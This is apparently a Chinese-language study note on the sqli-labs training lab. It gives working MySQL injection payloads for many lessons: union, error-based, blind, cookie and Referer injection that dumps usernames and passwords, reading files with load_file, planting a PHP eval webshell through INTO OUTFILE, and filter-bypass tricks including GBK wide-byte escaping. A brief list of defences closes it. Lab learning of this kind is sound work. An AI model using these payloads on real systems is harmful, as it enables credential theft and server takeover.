(CN) MySQL Injection
环境搭建
桌面环境:Windows10
靶场环境:phpstudy_pro
- Apache2.4.39
- php5.5.9nts
- MySQL5.7.26
- ☞Github仓库
使用工具:
- hackbar
- burpsuite
SQL注入
概述
- 按照请求方法分类
- GET
- POST
- 按SQL数据类型分类
- 整型注入
- 字符型注入
- 其他数据类型
- 报错注入
- 双注入
- 时间盲注
- 布尔盲注
- cookie注入
- user-agent注入
整型注入
补充:information_schema
- schemata表
- 当前 mysql 实例中所有数据库的信息。
SHOW DATABASES;
命令从这个表获取数据。 - schema_name字段就是所有的数据库名字
- 当前 mysql 实例中所有数据库的信息。
- tables表
- table_schema字段表示数据库名称
- table_name字段表示对应数据库的表信息
- columns表
- table_schema字段表示数据库名称
- table_name字段表示对应数据库的表信息
- column_name字段表示具体表中的字段值有哪些
Less2
方法:
-
判断是否有注入,判断是否未严格校验
-
可控参数改变能否影响页面显示结果
-
输入的sql语句是否可以报错,通过报错来查看数据库语句痕迹
-
输入的sql语句能否不报错,使得语句能够成功的闭合
-
-
什么类型的注入
-
语句能否被而已修改
-
语句是否可以被执行
-
获取想要的数据
过程:
以上两步可以得出,id后的参数为整型,不需要’ ’ , " "
使用这个方法可以得出表有多少列
ps:得出多少列的第二种方法
?id=1 order by 4(4这个数字表示第几列,没有这一列会报错)
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
得到了所有数据库名字
得出了security库中有四张表
得出users表的字段
从而得到了关于数据库的详细信息,进行进一步注入
获得了数据库中所有用户的信息
-- 使用更加好的显示方式为
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,group_concat(concat_ws(":",username,password)),3 from security.users
字符型注入
过程:
可以判断为字符型参数
去判断表名和字段名
http://localhost/sqli/Less-1/
?id=-1' union select 1,group_concat(concat_ws(":",username,password)),3 from security.users -- +
以上sql语句可以获取users表的所有信息
post注入
双注入
less11
uname=u'union
select concat(floor(rand()*2),(select group_concat(password) from security.users limit 0,1)) as a, count(*) from information_schema.tables group by a
-- +&passwd=1234
less5
http://localhost/sqli/Less-5/
?id=1' union select 1,count(*),concat(floor(rand(4)*2),(select concat_ws(":",username,password) from users limit 1,1)) as a from information_schema.tables group by a-- +
报错注入
extractvalue(1,concat(0x7e,(select * from ^)))
updatexml()
布尔盲注
?id=1' or (select ascii(substr(table_name),1,1) from information_schema.tables where table_schema=database() limit 0,1)>100 -- +
结合burpsuite进行暴破
时间盲注
Less9
http://localhost/sqli/Less-9/
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
http://localhost/sqli/Less-9/
?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = 'security' limit 0,1)=101,1,sleep(5)) --+
http://localhost/sqli/Less-9/
?id=1' and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema = database() limit 0,1)=11,1,sleep(5)) --+
Cookie注入
Less 20
类似于get注入
只是注入点不同,是cookie与数据库产生交互
HTTP-referer注入
Less19
burpsutie抓包分析
先通过’ " 等方式找到注入方式,发现后台语句可能为insert语句,后使用报错注入方式
Referer: http://localhost/sqli/Less-19/' and extractvalue(1,concat(0x7e,version())) and '
-- 猜测后台语句类似于以下形式
insert into table_name (a,b,c) values(''and () and'','','')
Referer: http://localhost/sqli/Less-19/' and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) and '
补充:
使用burpsuite抓包时firefox一直向
这个地址发现get请求,淹没了需要抓的包,但是只有firefox可以抓本地的包,所以进一步寻求解决方法
发现需要进入浏览器,搜索框进入about:config
,关闭network.captive-portal-service.enadbled
即可
Sql注入读写文件
Load_file(file_name) : 读取文件并返回该文件的内容作为一个字符串
使用条件:
- 必须有权限且文件完全可读
- 文件必须在服务器上存在
- 必须指定完整路径,相对路径不行
- 文件必须小于 max_allowed_packet
Less1
http://localhost/sqli/Less-1/?id=-1' union select 1,2,load_file('D:\\phpstudy_pro\\WWW\\sqli\\Less-1\\index.php') -- +
Less7
使用 outfile 导入一句话木马,但默认 outfile 是没有开启的,得手动开启一下:
show global variables like '%secure%';
- 当
secure_file_priv
的值为null
,表示限制mysqld
不允许导入、导出 - 当
secure_file_priv
的值为/tmp/
,表示限制mysqld
的导入、导出只能发生在/tmp/
目录下 - 当
secure_file_priv
的值为空
时,表示不对mysqld
的导入、导出做限制
修改mysql
配置文件my.ini
,再[mysqld]
下加入secure_file_priv=""
以及local_infile=1
两条内容即可
上传一句话木马
http://localhost/sqli/Less-7/?id=1')) union select 1,2,"<?php @eval($_POST[a])?>" into outfile "D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\friendly.php" -- +
绕过注释符过滤
Less23
'='
可以绕过,使得查询语句不报错
' or ( ) or '
同理
' union select 1,2,'
同理,还能判断有几个字段
http://localhost/sqli/Less-23/?id=1' or (extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 2,1)))) or '1'='1
绕过and-or字符过滤
Less25
简单测试发现为单引号闭合且or
and
被后台过滤,大小写都被过滤了
使用||
,oorr
,anandd
,进行过滤
双写绕过
绕过空格过滤
Less26
%09 tab 水平
%0a 新建一行
%0c 新建一页
%0d return
%0b tab 垂直
%a0 空格
/**/ 代替空格
内联注释绕过
Less27
将blacklist里的关键字写在注释中,内敛的写法去执行完整的语句
/*!union*/ /*!select*/ /*!version()*/
宽字节注入
Less32
http://localhost/sqli/Less-32/?id=-1%82' union select 1,2,3 %23
\逃逸,通过gbk编码的形式825c变成了一个汉字
需要注意的是gb2312 和gbk不同的编码范围
宽字节注入原理
MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c
就是一个 汉字。因为过滤方法主要就是在敏感字符前面添加反斜杠 \
,所以这里想办法干掉反斜杠即可。
%df
吃掉\
具体的原因是 urlencode(\') = %5c%27
,我们在 %5c%27
前面添加 %df
,形 成 %df%5c%27
,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把 %df%5c
当做是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。
- 将
\'
中的\
过滤掉
例如可以构造 %5c%5c%27
的情况,后面的 %5c
会被前面的 %5c
给注释掉。这也是 bypass 的一种方法。
sql注入防御手段
代码层
- 黑名单
- 白名单
- 敏感字符过滤
- 使用框架安全查询
- 规范输出
配置层
- 开启GPC
- 使用UTF-8
物理层
- WAF
- 数据库审计
- 云防护
- IPS